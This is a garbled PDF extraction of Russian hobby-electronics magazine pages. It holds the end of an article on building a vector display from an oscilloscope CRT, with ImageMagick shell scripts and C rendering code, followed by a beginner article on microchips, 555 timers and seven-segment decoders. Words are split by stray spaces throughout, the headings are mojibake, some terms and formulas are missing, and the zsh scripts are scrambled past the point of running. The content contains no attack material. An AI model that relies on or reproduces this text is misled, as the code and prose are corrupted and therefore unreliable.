https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%B1%D0%BB%D0%B8%D0%B6%D0%B0%D0%B9%D1%88%D0%B5%D0%B3%D0%BE_%D1%81%D0%BE%D1%81%D0%B5%D0%B4%D0%B0_%D0%B2_%D0%B7%D0%B0%D0%B4%D0%B0%D1%87%D0%B5_%D0%BA%D0%BE%D0%BC%D0%BC%D0%B8%D0%B2%D0%BE%D1%8F%D0%B6%D1%91%D1%80%D0%B0
https://www.open-mpi.org/


ТЕПЛЫЙ ЛАМПОВЫЙ

ДИСПЛЕЙ
СОБИРАЕМ МОНИТОР ИЗ ЭЛЕКТРОННО-

ЛУЧЕВОЙ ТРУБКИ

GEEK  НАЧАЛО СТАТЬИ←

Те перь, если скор мить этой прог рамме нашу тес товую кар тинку, мы уви дим,
что арте фак тов ста ло замет но мень ше без сни жения бит рей та. Вот так
это выг лядит при бит рей те 10 Mбит/с.

Оп тимизи рован ная кар тинка

Тем не менее арте фак ты отчетли во вид ны в мес тах перес кока меж ду бук вами.
Ну да я спе циаль но выб рал такое изоб ражение, что бы их было вид но.
У читате ля здесь воз никнет резон ный воп рос: а сто ит ли зат рачивать такие
уси лия ради того, что бы неидеаль но отри совать столь прос тую кар тинку
на высокой ско рос ти? Может, луч ше прос то сни зить ско рость? Отве чу:
затева лось все это, что бы отри совы вать изоб ражения гораз до более слож- 
ные, в 5000–20 000 точек, там сни жать ско рость — не вари ант. Рас смот рим,
нап ример, кар тинку повесе лее.

Те тень ка

Лег ко видеть, что кар тинка гораз до более фак турная. :) Она цвет ная,
с полуто нами, и раз решение далеко не 256 × 256. Как быть? Тут нам поможет

 — прод винутый кон соль ный редак тор гра фики.imagemagick

INFO

Все опи сан ное даль ше навер няка мож но реали- 
зовать и средс тва ми openCV, да и биб лиоте ки
imagemagick мож но встро ить пря мо в код C.
И это луч ше бы удов летво ряло прин ципу KISS,
но, как я уже говорил, прог раммист я пос редс- 
твен ный и ленивый, поэто му нава ять пару скрип- 
тов на Shell мне про ще.

Итак, есть два кон цепту аль но раз ных спо соба пре обра зовать цвет ное изоб- 
ражение в монох ромное: выделить кон тур и отоб разить цвет плот ностью пик- 
селов. Для выделе ния кон тура мой скрипт сна чала сжи мает кар тинку так, что- 
бы боль шая сто рона сос тавля ла 256 пик селов, кон верти рует изоб ражение
в гра дации серого и выделя ет кон тур. Получен ное изоб ражение скар мли- 
вает ся рас смот ренной выше прог рамме. Вот сам скрипт.

#!/bin/zsh
##kontur_gen.sh
IMG=$1

 echo "$1"
|awk  STR=$(identify "$IMG" -F' ' '{print $3}')

 echo "$STR"
 |awk  X=$(echo $STR -F'x' '{print $1}')
 |awk  Y=$(echo $STR -F'x' '{print $2}')

 echo "$X $Y"
  X   Y  if [ $(( )) -lt $(( )) ];

then
 echo "X<Y"

    convert -normalize -resize x256 -colorspace gray -edge $2 -negate
$IMG temp.png 
else

 echo "X>Y"
    convert -normalize -resize 256x -colorspace gray -edge $2 -negate

$IMG temp.png 
fi

 :0:./black "temp.png" "${1 (-3)}h"

Па раметр  вли яет на глу бину поис ка кон туров и в общем слу чае под бира- 

ется под изоб ражение. Обыч но луч ше все го работа ет зна чение 2. Кар тинка
пос ле обра бот ки выг лядит так.

$2

Вы деле ние кон тура

Изоб ражение содер жит око ло 12 000 точек и отоб ража ется на труб ке вот так.

Кон турная кар тинка на CRT

Вто рой скрипт пра вит яркость и кон траст, сни жает количес тво цве тов до 16,
меня ет раз мер, перево дит в оттенки серого и заменя ет оттенки груп пами
по 4 × 4 пик села.

#!/bin/zsh
#kontur_gen2.sh
IMG=$1

|awk  STR=$(identify "$IMG" -F' ' '{print $3}')
 |awk  X=$(echo $STR -F'x' '{print $1}')
 |awk  Y=$(echo $STR -F'x' '{print $2}')

  X   Y  if [ $(( )) -lt $(( )) ]
then

    16 
 

convert -normalize -brightness-contrast -30x30 -colors -colorspace
gray  -resize x256 -ordered-dither o4x4 -negate $IMG temp.png 

else
    16 

 
convert -normalize -brightness-contrast -30x30 -colors -colorspace
gray   -resize 256x -ordered-dither o4x4 -negate $IMG temp.png 

fi
 :0:./black "temp.png" "${1 (-3)}h"

Кар тинка пос ле обра бот ки выг лядит сле дующим обра зом.

Мо нох ромное изоб ражение

Ри сунок содер жит око ло 8000 точек и вот так выг лядит на экра не.

Мо нох ромная кар тинка на CRT

Оба пред став ленных скрип та перева рива ют боль шинс тво кар тинок. Какой
из них справ ляет ся луч ше, зависит от изоб ражения, но в целом под каж дый
кон крет ный слу чай их мож но опти мизи ровать, подс тро ив яркость/кон траст.
А с помощью нес ложно го однос троч ного скрип та мож но устро ить даже
слайд-шоу.

i for in images/*;do ./kontur_gen2.sh $i;done

С изоб ражени ями разоб рались, теперь перей дем к тек сту.

ÂÛÂÎÄÈÌ ÒÅÊÑÒ

Со шриф том, не мудрствуя лукаво, я решил пос тупить, как с изоб ражени ями.
Взял биб лиоте ку со шриф том из  и скон- 
верти ровал фор мат. В ито ге каж дая бук ва опи сыва ется пос ледова тель ностью
коор динат пик селов. Неп рият ным в этом деле получа ется то, что в бук вах раз- 
ное количес тво пик селов и общий мас сив со шриф том сос тоит из эле мен тов
раз ной дли ны. Поэто му фор мат хра нения шриф та приш лось усложнить,
в резуль тате пер вый байт в опи сании сим вола ука зыва ет количес тво пик- 
селов в нем, а сме щение каж дого сим вола хра нит ся в отдель ном мас сиве.
Под робно раз бирать сам кон вертер фор мата шриф та я не вижу осо бого
смыс ла, но код кон верте ра выложен на гит хабе, кому инте рес но — мож но
пос мотреть.

про екта все вол нового при емни ка

Те перь дело за малым: пишем фун кцию отри сов ки сим вола на экра не
(точ нее, в буфере) и фун кцию отри сов ки стро ки.

 uint8_t buffer[10000];
 uint16_t buf_shift=0;

    uint16_t send_xy(uint8_t x, uint8_t y){
 buffer[buf_shift++]=x;
 buffer[buf_shift++]=y;
  return buf_shift;
 }

      void send_char(uint8_t chr, uint8_t x, uint8_t y){
          uint8_t c=(chr<0xe0) ? chr - 0x20 : chr - 0x50;
  uint16_t sh=0;
  uint8_t c_len=0;
 sh=shift[c];
 c_len=ASCII[sh];
 sh++;
   for(uint8_t j=0;j<3;j++)for(uint8_t i=0;i<c_len;i++)send_xy(ASCII[
sh+2*i]+x,ASCII[sh+2*i+1]+y);
 }

     void send_str(char *str,uint8_t x, uint8_t y){
 while(*str){
    if((uint8_t)*str==0xd0||(uint8_t)*str==0xd1) str++;
   if(*str=='\r'){x=0;str++;}
   if(*str=='\n'){y+=8*2;str++;}
   send_char((uint8_t)*str++,x,y);
   x+=6*2;
   }
 }

Ос талось толь ко передать фун кции  жела емую стро ку и положе- 

ние ее начала на экра не, пос ле чего отпра вить буфер в ЦАП. Обра ти вни- 
мание, что изоб ражение каж дого сим вола записы вает ся в буфер триж ды, что
поз воля ет умень шить количес тво арте фак тов и под нять яркость шриф та, если
тот отоб ража ется сов мес тно с дру гими изоб ражени ями на экра не. Теперь,
ког да мы уме ем выводить на экран гра фику и текст, мы можем сде лать
это одновре мен но (ну, поч ти). Шрифт и изоб ражение вклю чены в виде
заголо воч ных фай лов.

send_str()

#include "vector_font.h"
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <cstdint>
#include "xaker-logo.h"

#define FTDI 1
#ifdef FTDI
#include <stdlib.h>

 extern "C"{
#include <mpsse.h>
}
#define SPEED 10000000
#endif

 uint8_t buffer[10000];
 uint16_t buf_shift=0;

    uint16_t send_xy(uint8_t x, uint8_t y){
 buffer[buf_shift++]=x;
 buffer[buf_shift++]=y;
  return buf_shift;
 }

      void send_char(uint8_t chr, uint8_t x, uint8_t y){
          uint8_t c=(chr<0xe0) ? chr - 0x20 : chr - 0x50;
  uint16_t sh=0;
  uint8_t c_len=0;
 sh=shift[c];
 c_len=ASCII[sh];
 sh++;
   for(uint8_t j=0;j<3;j++)for(uint8_t i=0;i<c_len;i++)send_xy(ASCII[
sh+2*i]+x,ASCII[sh+2*i+1]+y);
 }

     void send_str(char *str,uint8_t x, uint8_t y){
 while(*str){
    if((uint8_t)*str==0xd0||(uint8_t)*str==0xd1) str++;
   if(*str=='\r'){x=0;str++;}
   if(*str=='\n'){y+=8*2;str++;}
   send_char((uint8_t)*str++,x,y);
   x+=6*2;
   }
 }

       int main( int argc, const char** argv )
{
   send_str("Candidum 2022",1,80);
 send_str("Eritis sicut Deus,\r\n scientes bonum\r\n   et malum.",1,
100);
 #ifdef FTDI
/*****************************************************************
* А теперь выведем с ходу на экран через FT232H
*****************************************************************/
     struct mpsse_context *spi = NULL;
     spi = MPSSE(SPI0, SPEED, LSB);
 while(1){
   Start(spi);
    FastWrite(spi, (char*)xaker_logo,sizeof(xaker_logo));
     FastWrite(spi, (char*)buffer, buf_shift);
   Stop(spi);
   }
 Close(spi);
#endif
}

Ком пилиру ем, запус каем и видим на экра не сле дующее.

Текст и гра фика сов мес тно на экра не

Выг лядит доволь но сим патич но.

ÇÀÊËÞ×ÅÍÈÅ

Из все го опи сан ного мож но сде лать вывод, что управлять осциллог рафичес- 
кой труб кой в целом доволь но прос то и выводить на нее изоб ражение —
тоже. Проб лемы появ ляют ся с рос том слож ности изоб ражения, точ нее с рос- 
том количес тва пик селов. Имен но поэто му боль шинс тво про ектов в сети
выводят очень прос тую кар тинку типа цифер бла та, стре лок и строч ки тек ста.
Ведь в конеч ном сче те все упи рает ся в виде оуси литель, и для того, что бы
в век торном фор мате вывес ти хорошую кар тинку, нуж но, по сути, соб рать
осциллог раф с полосой про пус кания мегагерц десять, что уже боль шая
задача. Поэто му для тех, кто захочет поэк спе римен тировать с изоб ражени ем
на CRT, но не дру жит со схе мотех никой, мой совет: купи прос тень кий ана- 
лого вый осциллог раф б/у, это будет и луч ше, и дешев ле. Но в целом
ковырять ся с осциллог рафичес кой труб кой доволь но инте рес но.

WWW

Ис ходный код всех рас смот ренных в статье прог- 
рамм и скрип тов мож но най ти на .GitHub

https://imagemagick.org/
https://xakep.ru/2021/07/22/diy-si473x/
https://github.com/5881/CRT
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GEEK

Без мик росхем не обхо дит ся ни одно сов ремен ное элек- 
трон ное устрой ство. Внут ри этих «мно гоно жек» могут пря- 
тать ся десят ки малень ких тран зисто ров. В этой статье раз- 
берем, как ком биниро вать их меж ду собой, узна ем о нес- 
коль ких важ ных видах мик росхем, помига ем све тоди одом
и соберем пароч ку устрой ств. Пог нали!

В  мы собира ли логичес кие вен тили на тран зисто рах. Чем
слож нее вен тиль, тем боль ше тран зисто ров нуж но, а в сов ремен ных устрой-
ствах таких вен тилей может нас читывать ся огромное количес тво. Ком пак тным
такое устрой ство не назовешь, и тут нам на помощь при ходят мик росхе мы.

прош лой статье

INFO

В этой статье я буду час то ссы лать ся на 
. Если ты ее еще не про читал — сей час самое

вре мя!

пре дыду- 
щую

ÀÍÀÒÎÌÈß ÌÍÎÃÎÍÎÆÅÊ

Внут ри мик росхе мы, которую так же иног да называ ют чипом, находит ся элек- 
три чес кая цепь из очень малень ких ком понен тов. Мик росхе мы быва ют совер- 
шенно раз ные, и их видов нас читыва ется великое мно жес тво, в плас тиковом
кор пусе помеща ются самые раз ные логичес кие эле мен ты. Каж дый из чипов
реша ет свою задачу.

Мик росхе мы

Мик росхе мы, которые мы будем исполь зовать в этой статье, обла чены в так
называ емый DIP-кор пус (dual in-line package). Такие двух рядные мик росхе мы
лег ко встав ляют ся в ячей ки уже зна комо го нам из прош лой статьи бред- 
борда. «Ноги», то бишь кон такты мик росхе мы, час то называ ют пинами. Как ты
пом нишь из прош лой статьи, циф ровая логика работа ет на осно ве дво ичной
сис темы счис ления, опе риру ющей нулями и еди ница ми. У каж дого пина есть
свое наз начение, и свою фун кцию он выпол няет при подаче на него нуж ного
сиг нала, то есть логичес кого нуля или еди ницы.

Мик росхе ма в ячей ках бред борда над бороз дкой

На схе мах каж дая из ног мик росхе мы пос ледова тель но нумеру ется про тив
часовой стрел ки. Пер вая нога чипа обоз нача ется круг лой засеч кой на его
кор пусе. Нумера ция выводов мик росхе мы в DIP-кор пусе про исхо дит от этой
ноги про тив часовой стрел ки. Обра ти вни мание, что одна и та же мик росхе ма
может обоз начать ся на схе мах по-раз ному, поэто му для под клю чения надо
смот реть на номера пинов и их наз вания.

На схе ме ты всег да встре тишь пины VCC и GND, ведь каж дой мик росхе ме
для работы необ ходимо питание. Преж де чем под клю чать источник питания
к этим пинам, пос мотри в даташи те (докумен те с харак терис тиками), под- 
держи вает ли дан ный чип это нап ряжение. Осталь ные пины, как пра вило,
обоз нача ются аббре виату рой от их наз начения (нап ример, DS = Data Serial).
Чер та над ней озна чает инверсию: пин будет акти виро ван, если подать
на него логичес кий ноль.

Изоб ражение чипа на схе ме

ÍÅÊÎÒÎÐÛÅ ÂÈÄÛ ÌÈÊÐÎÑÕÅÌ

В элек тро нике раз лича ют десят ки тысяч мик росхем, и все они необ ходимы
для выпол нения тех или иных задач. Мик росхе мы раз рабаты вают ся сери ями,
которые обоз нача ют в пер вую оче редь тип логики. Так же мик росхе мы одной
серии схо жи по харак терис тикам, нап ример пот ребля емо му нап ряжению.
Поэто му чипы луч ше вза имо дей ству ют с соб рать ями из одной серии. Рас- 
смот рим под робнее нес коль ко раз новид ностей мик росхем.

INFO

Пол ное и мак сималь но под робное опи сание
харак терис тик мик росхем ты можешь про читать
в их даташи те. К каж дому исполь зуемо му
и разоб ранно му чипу я при ложу ссыл ку — читай
на здо ровье.

Òðèããåð Øìèòòà

Как ты пом нишь из прош лой статьи, раз лича ют циф ровой и ана лого вый сиг- 
налы. Что бы «округлить» нес табиль ный ана лого вый сиг нал до ста биль ного
циф рового, исполь зует ся этот чип. В одной такой мик росхе ме неред ко дела- 
ют сра зу нес коль ко незави симых триг геров (схем с нес коль кими устой чивыми
сос тояниями). Иног да выходы триг гера инверти руют.

По пуляр ный чип с шестью инверти рующи ми триг герами Шмит та —
. У этой мик росхе мы так же есть пин питания VCC и общей зем ли GND.

Еще есть два вида пинов xA и xY (на мес тах x может быть любое чис ло —
номер пина). При этом xA обоз нача ет ана лого вый вход, а xY — циф ровой
выход. На кар тинке ниже показа на схе ма это го чипа и обоз начение вен тиля
триг гера — обыч ного и инверти рован ного.

74HC14

Мик росхе ма и вен тиль триг гера Шмит та на схе ме

У этой мик росхе мы есть задан ные вер хний и ниж ний пороги нап ряжения. Пин
xY перек люча ется (то есть изме няет свой сиг нал с нуля на еди ницу и наобо- 
рот), ког да зна чение ана лого вого сиг нала со вхо да xA пересе кает даль ний
порог от текуще го сос тояния выхода xY.

Прин цип дей ствия триг гера Шмит та

Òðèããåð Øìèòòà — ëåêàðñòâî îò äðåáåçãà

В элек тро нике сущес тву ет такое понятие, как дре безг. Дре без жащие ком- 
понен ты (кноп ки, нап ример) ран домно меня ют сиг нал мно жес тво раз
при перек лючении сос тояния, ведь кон такты тех же кно пок отнюдь не иде аль- 
ны и при нажатии они еще нес коль ко раз соп рикос нутся и разом кнут ся, что
при ведет к неод нократ ному изме нению сиг нала.

Так выг лядит сиг нал дре без жащей кноп ки

Ис поль зуя резис тор и кон денса тор, о которых мы погово рим чуть поз же,
мож но получить сгла жен ный ана лого вый сиг нал.

Сгла жен ный ана лого вый сиг нал

Пос ледний эле мент в этой цепоч ке — триг гер Шмит та. Он дела ет из сгла жен- 
ного ана лого вого сиг нала циф ровой.

Сиг нал пос ле про хода через триг гер Шмит та

Ñäâèãîâûé ðåãèñòð

Этот чип необ ходим для уве личе ния количес тва циф ровых пинов. Одна
из самых популяр ных мик росхем дан ного типа — . Для управле ния
ей тре бует ся все го три пина, а на выходе она дает целых восемь.

74HC595

74HC595 на схе ме

Раз берем наз начение пинов. Как и всег да, VCC и GND — питание и зем ля.
DS — это линия вход ных дан ных для внут ренней памяти регис тра. SHcp —
линия так та, которая перено сит 1 бит из DS в память регис тра . STcp —

линия стро ба дан ных, слу жит для их перено са из памяти на Qx. Qx (на мес тах
x может быть любое чис ло — номер пина) — это восемь выходов чипа обще го
наз начения. Q7 — выход для сцеп ления нес коль ких регис тров в ряд. OE
с чер той свер ху — это линия вклю чения/вык лючения выходов Qx. MR с чер той
свер ху — линия для обну ления сос тояния регис тра.

Dx

Мик росхе ма при нима ет пос ледова тель ный сиг нал на одном пине Ds
и прев раща ет его в парал лель ный сиг нал на вось ми пинах Qx. Так том пос- 
ледова тель ной переда чи управля ют через допол нитель ный пин SHcp. Так же
отдель ным пином управля ется регистр дан ных STcp, что поз воля ет изме нять
сиг нал на вось ми выходах одновре мен но, ког да переда ча дан ных завер шена.

Каж дый из вось ми выходов Qx — это бит информа ции, который может
быть нулем или еди ницей. Все эти 8 бит пер вым делом про пихи вают ся
во внут реннюю память , а пос ле все биты отту да сра зу перено сят ся

на реаль ные выходы Qx.

Dx

ÍÅÊÎÒÎÐÛÅ ÝËÅÊÒÐÎÍÍÛÅ ÊÎÌÏÎÍÅÍÒÛ

По ана логии с прош лой стать ей, где мы изу чили резис тор и диод,
перед экспе римен тами и сбор кой схем погово рим об элек трон ных ком понен- 
тах, которые могут нам понадо бить ся.

Êîíäåíñàòîð

Кон денса тор — это кро шеч ный акку муля тор, который очень быс тро заряжа- 
ется и так же быс тро раз ряжа ется. У кон денса тора есть одна важ ная величи- 
на, име нуемая емкостью, которая фак тичес ки опре деля ет, какой заряд он
может при нять. Емкость обоз нача ется бук вой C и изме ряет ся в фарадах.
Сущес тву ет два основных вида кон денса торов — керами чес кий и элек тро- 
лити чес кий. Пер вый поляр ности не име ет, и его емкость не может пре-
вышать 1 мкФ. У элек тро лити чес кого кон денса тора «плюс» и «минус» име- 
ются, я уже рас ска зывал, что они называ ются анод (+) и катод (–). У катода
дан ного типа кон денса тора более корот кая нога, а так же свет лая полос ка
на кор пусе сра зу над ним. Его емкость начина ется с 1 мкФ.

Внеш ний вид и схе мы керами чес кого и элек тро лити чес кого кон денса -
торов

Но минал, то есть в дан ном слу чае зна чение емкости кон денса тора, записы- 
вает ся на его кор пусе. Но если у элек тро лити чес кого это чис ло с ука зани ем
величин, то с керами чес ким нем ного слож нее. На кор пусе его номинал
записан в виде трех цифр, пер вые две из которых — осно вание чис ла,
а третья — мно житель (10 в сте пени треть ей циф ры).

INFO

У кон денса тора сущес тву ет еще одна харак терис- 
тика под наз вани ем «пос тоян ная вре мени». Выс- 
читыва ется она по фор муле ,
в которой  — это емкость кон денса тора, а  —
соп ротив ление цепи (о нем я рас ска зывал
в прош лой статье). За  секунд кон денса тор
заряжа ется/раз ряжа ется на 63%. За 
секунд кон денса тор заряжа ется/раз ряжа ется
на 99%.

t = C * R
C R

t
5 * t

Ñåìèñåãìåíòíûé èíäèêàòîð

В прош лой статье я рас ска зывал о све тоди оде. Так вот, семисег мен тный
инди катор — это сра зу восемь све тоди одов в одном кор пусе (семь сег- 
ментов, из которых сос тавля ются чис ла десятич ной сис темы счис ления,
и точ ка).

Внеш ний вид и схе ма семисег мен тно го инди като ра

Но ги дан ного эле мен та нумеру ются пос ледова тель но, про тив часовой стрел- 
ки. Анод у каж дого све тоди ода свой, а вот катод общий, он находит ся
на ноге 3 или 8.

WARNING

При под клю чении семисег мен тно го инди като ра
для каж дого све тоди ода исполь зуй отдель ный
резис тор, ина че при раз ном чис ле вклю чен ных
сег ментов яркость све тоди одов будет изме нять- 
ся.

Продолжение статьи →
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БУНТ МНОГОНОЖЕК
СОБИРАЕМ УСТРОЙСТВО С ИНТЕГРАЛЬНЫМИ

МИКРОСХЕМАМИ

GEEK  НАЧАЛО СТАТЬИ←

ÐÓÁÐÈÊÀ «Ý-Ý-ÝÊÑÏÅÐÈÌÅÍÒÛ!»

На конец мы перехо дим от слов к делу. Запасай ся мно гонож ками, и в бой!

Hello, world!

В мире информа цион ных тех нологий сущес тву ет тра диция — начинать изу- 
чение нового язы ка прог рамми рова ния с вывода фра зы «Hello, world!».
Мигание све тоди одом — это ана лог дан ного обы чая в элек тро нике. Давай
и мы нач нем прак тичес кое изу чение мик росхем с такого при ветс твия.

Спи сок деталей, которые нам понадо бят ся:
мик росхе ма-тай мер NE555;•
све тоди од;•
ре зис торы 220 Ом, 10 кОм и 100 кОм;•
ке рами чес кий кон денса тор на 100 нФ;•
элек тро лити чес кий кон денса тор на 22 мкФ.•

Сер дцем и моз гом нашей схе мы будет леген дарный чип-тай мер . Эта
интеграль ная схе ма генери рует оди ноч ные и пов торя ющиеся импуль сы
со ста биль ными вре мен ными харак терис тиками.

NE555

Мик росхе ма NE555

На отме чен ной ноге чипа тай мер пери оди чес ки вклю чает и вык люча ет ток.
Пери од, с которым это про исхо дит, опре деля ют кон денса торы и резис торы,
под клю чен ные к дру гим ногам.

Прин ципи аль ная схе ма пред став лена на фото ниже. Изме нить час тоту
мигания све тоди ода ты можешь, заменив резис тор на 100 кОм резис тором
с дру гим номина лом (чем мень ше соп ротив ление — тем чаще будет мигать
све тоди од).

Схе ма мигания све тоди одом

Так же как и в прош лой статье, собирать схе мы мы будем на макет ной пла те.
У маяка схе ма очень прос тая и умес тится даже на самом малень ком бред- 
борде.

Схе ма маяка на бред борде

Êîìáèíèðîâàíèå ëîãè÷åñêèõ âåíòèëåé

Как я говорил в начале статьи, внут ри мик росхе мы находит ся сра зу нес коль ко
логичес ких вен тилей. Прак тичес ки у всех разоб ранных ранее логичес ких бло- 
ков было два вхо да. Сос тавляя таб лицы истиннос ти и исполь зуя зна ния
из прош лой статьи по про екти рова нию логичес ких вен тилей, мож но собирать
их с боль шим количес твом вхо дов самос тоятель но из полевых тран зисто ров.

Сов мещая вен тили внут ри чипов, мы можем уве личить количес тво их вхо- 
дов. Так, из разоб ранных в пре дыду щей статье трех вен тилей конъ юнкции 2И
(то есть бло ков с дву мя вхо дами) мож но получить 4И (тут вхо дов четыре) или,
нап ример, из двух 2И получить 3И. Давай раз бирать ся, как это сде лать.

Для соз дания таких ком биниро ван ных вен тилей исполь зует ся соеди нение
эле мен тов бло ков в кас кады вен тилей, рас положен ные пооче ред но. От это го
и про исхо дит наз вание такого метода — кас кадиро вание. На кар тинке ниже
при веде на схе ма вен тиля 3И на базе 2И.

Ло гичес кий вен тиль 3И из двух 2И

Как ты видишь, здесь мы соеди нили выход пер вого бло ка 2И с одним из вхо- 
дов вто рого 2И. Раз уж мы раз бира ем конъ юнкцию, то, как ты пом нишь,
на выходе это го бло ка будет логичес кая еди ница, толь ко если на обо их его
вхо дах высокий уро вень сиг нала HIGH. Таким обра зом, пос ледний вен тиль
даст на выходе 1, если по еди нице будет на его оставшем ся вхо де, а так же
на вхо де пер вого 2И. А это, в свою оче редь, тре бует наличия еди ниц уже
на его вхо дах.

Этим же спо собом мож но соз дать, нап ример, вен тиль 4И. Для это го
к обо им вхо дам бло ка 2И под клю чим по еще одно му такому же бло ку, получив
вен тиль с четырь мя вхо дами.

Ло гичес кий вен тиль 4И из трех 2И

У мик росхем сущес тву ет цоколев ка. Цоколев ка показы вает рас положе ние
вхо дов и выходов вен тилей внут ри мик росхе мы, а так же пины питания (VSS
или VCC на схе ме — это «плюс», а GND или VDD — «минус»). Най ти ее мож но
в даташи те на мик росхе му. Ниже пред став лен при мер цоколев ки мик росхе мы
с четырь мя вен тилями 2И внут ри.

При мер цоколев ки чипа

Со ответс твен но, что бы получить 4И, нам надо соеди нить, нап ример, 3-й пин
с 8-м, а 4-й с 9-м. Тог да вхо ды вен тиля будут на 1, 2, 5, 6-м пинах, а выход
на 10-м.

Propagation delay
В даташи тах встре чает ся такая харак терис тика, как propagation delay —
задер жка рас простра нения. Каж дый вен тиль име ет свою задер жку сра баты-
вания, а это зна чит, что при пос ледова тель ном кас кадиро вании (его при- 
мер — 3И на базе двух 2И) сиг налы с раз ных вхо дов дой дут до выхода за раз- 
ное вре мя. В ком биниро ван ных вен тилях, сос тоящих из двух бло ков,
это неощу тимо, но, если от схе мы тре бует ся быс тро дей ствие, а в ней могут
ком биниро вать ся десят ки вен тилей, такой спо соб кас кадиро вания оче вид но
про игры вает. Поэто му, если количес тво вхо дов чет ное, кас кады вен тилей
луч ше все го делать дре вовид ными, как в 4И на базе трех 2И. Если количес тво
вхо дов нечет ное, мож но ком биниро вать эти спо собы кас кадиро вания.

Что делать, если у вен тиля оста лись незадей ство ван ные вхо ды? Допус тим,
в мик росхе ме есть блок 4И, но нам нуж но толь ко три вхо да. Оставший ся чет- 
вертый мы под клю чаем либо к питанию, либо к одно му из дру гих исполь- 
зуемых вхо дов. Это необ ходимо, так как вход, «бол тающий ся в воз духе»,
будет работать как антенна и неиз вес тно, какой сиг нал он пой мает и как
это пов лияет на выход.

Единс твен ная проб лема — понять, какой сиг нал нуж но на него подать,
что бы он не помешал работе вен тиля. Для это го необ ходимо пос мотреть
на таб лицу истиннос ти вен тиля. Если, нап ример, на вход логичес кого
И подать 0, то никаким обра зом мы не смо жем получить на выходе 1. Пос- 
мотрев на таб лицы истиннос ти дру гих вен тилей (смот ри прош лую статью), мы
можем сде лать вывод, что оставши еся вхо ды И и И — НЕ надо под клю чать
к еди нице, то есть к плю су питания, а ИЛИ и ИЛИ — НЕ — к минусу.

Øèôðàòîðû è äåøèôðàòîðû

Сра зу огор чу: наз вание «шиф ратор» не свя зано ни с какими тай нами. Шиф- 
раторы и дешиф раторы нуж ны для того, что бы перево дить чис ла из одной
сис темы счис ления в дру гую. Нап ример, у нас есть десять кно пок, под клю чен- 
ных к какому-нибудь устрой ству, и наша задача — перевес ти нажатия кно пок
в дво ичный код, понят ный машине. Пос ледова тель но нажимая на кноп ки, мы
переда ем , ведь каж дый из десяти под клю чен ных к кла- 
вишам про водов может передать один высокий логичес кий сиг нал. Пре обра- 
зова тель чисел из неудоб ной сис темы счис ления (работать с уни тар ным
кодом гораз до слож нее, чем с дво ичным) в более ком пак тную называ ется
шиф ратором. А обратный пре обра зова тель, соот ветс твен но, дешиф ратором.

óíè òàð íûé êîä

Øèôðàòîð äëÿ ñåìèñåãìåíòíîãî èíäèêàòîðà

Все го цифр, которые мож но показать на одном семисег мен тном инди като ре,
десять, от нуля до девяти. Преж де чем сос тавлять таб лицу истиннос ти
для дан ного устрой ства, переве дем эти чис ла в дво ичную сис тему, что бы
понять, сколь ко вхо дов нам пот ребу ется.

Чис ла от 0 до 9 в дво ичной сис теме счис ления

Как видишь, для обоз начения самого боль шого чис ла тре бует ся четыре циф- 
ры, то есть четыре дво ичных раз ряда. А это, в свою оче редь, зна чит, что нам
пот ребу ется все го четыре вхо да — x0 (самый млад ший раз ряд), x1, x2 и x3
(самый стар ший раз ряд). Для удобс тва сег менты обоз начим англий ски ми
бук вами.

Се мисег мен тный инди катор

Для сос тавле ния таб лицы истиннос ти усло вим ся, что горящий све тоди од
равен еди нице. Получа ем такую таб лицу.

Из дво ично го кода в семисег мен тный

А сей час давай выведем «фор мулы», ведь необ ходимо понимать, какими ком- 
бинаци ями сиг налов мы заж жем нуж ный сег мент инди като ра. Как мож но
заметить, нулей в этой таб лице мень ше, чем еди ниц. Поэто му про ще будет
сос тавить фор мулы, для которых све тоди од НЕ дол жен све тить ся. Напом ню,
что инверсия обоз нача ется чер той свер ху, логичес кое сло жение — это V,
а логичес кое умно жение — это &. Сущес тву ют пра вила сок ращения фор мул
алгебры логики. Пос ле всех пре обра зова ний фор мулы будут выг лядеть так.

Фор мулы гашения све тоди ода

Еще раз напом ню, что эти фор мулы гасят сег мент. Что бы на выходе получить
сиг нал для зажига ния, в схе ме нуж но заменить все И на И — НЕ. В фор мулах
b и f, так же как в d и e, при сутс тву ют оди нако вые час ти, они общие для обе их
фун кций.

Ло гичес кая схе ма дешиф ратора

Что бы соб рать такую схе му, исполь зуя вен тили из мос фет-тран зисто ров, нам
пот ребу ется нес коль ко круп ных бред бордов. К счастью, сущес тву ют спе- 
циаль ные мик росхе мы для управле ния раз ными эле мен тами, и семисег мен- 
тный инди катор не исклю чение. Такие мик росхе мы называ ются 

, а не прос то дешиф ратора ми, ведь они не толь ко поз воля ют перево- 

дить чис ла, но и пред лага ют полез ные фун кции для управле ния ком понен- 
тами. Нап ример, как в слу чае с семисег мен тным инди като ром, вык лючать
разом все све тоди оды при подаче нуж ного сиг нала на один из пинов. Один
из драй веров управле ния семисег мен тным инди като ром — мик росхе ма

.

äðàé- 

âåðàìè

CD4511BE

Рас пинов ка драй вера CD4511BE

У этой мик росхе мы, помимо четырех вхо дов, зада ющих чис ло, которое необ- 
ходимо зажечь, а так же семи выходов, которые зажига ют сег менты, име ются
еще три пина — LE, LT и BL. LE необ ходим для 

(latch enable) — это режим записи вход ных дан ных во внут реннюю память.
Если сиг нал на этом пине высокий (HIGH), то изме нение вход ных дан ных
никак не отоб ража ется на выходе, а зна чит, показа ния инди като ра так же
не меня ются. В нашей схе ме мы прос то под клю чим его к минусу питания —
бло киров ка вывода нам не нуж на. LT — это lamp test, он слу жит для тес та
и вклю чает все инди като ры разом. Чер та свер ху говорит о том, что он акти- 
виру ется нулем. BL (blanking), наобо рот, вык люча ет разом все сег менты. Он
тоже акти виру ется низ ким сиг налом.

ðàç ðåøåíèÿ çàùåë êèâàíèÿ

Схе му под клю чения драй вера к семисег мен тно му инди като ру, а так же ее,
соб ранную на бред борде, я при вожу ниже.

По казы ваем циф ры семисег мен тным инди като ром

Схе ма на бред борде

На жимая опре делен ные кноп ки, мы можем изме нять показа ния семисег мен- 
тно го инди като ра.

ÏÎÄÂÎÄÈÌ ÈÒÎÃÈ

На деюсь, сегод ня мир мик росхем и циф ровой элек тро ники стал для тебя
нем ного понят нее и бли же. Теперь ты можешь не толь ко делать свои схе мы
гораз до ком пак тнее, но и соз давать новые, ранее недос тупные.

https://static.chipdip.ru/lib/222/DOC000222900.pdf
https://static.chipdip.ru/lib/632/DOC012632987.pdf
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СТАНЬ АВТОРОМ
«ХАКЕРА»!

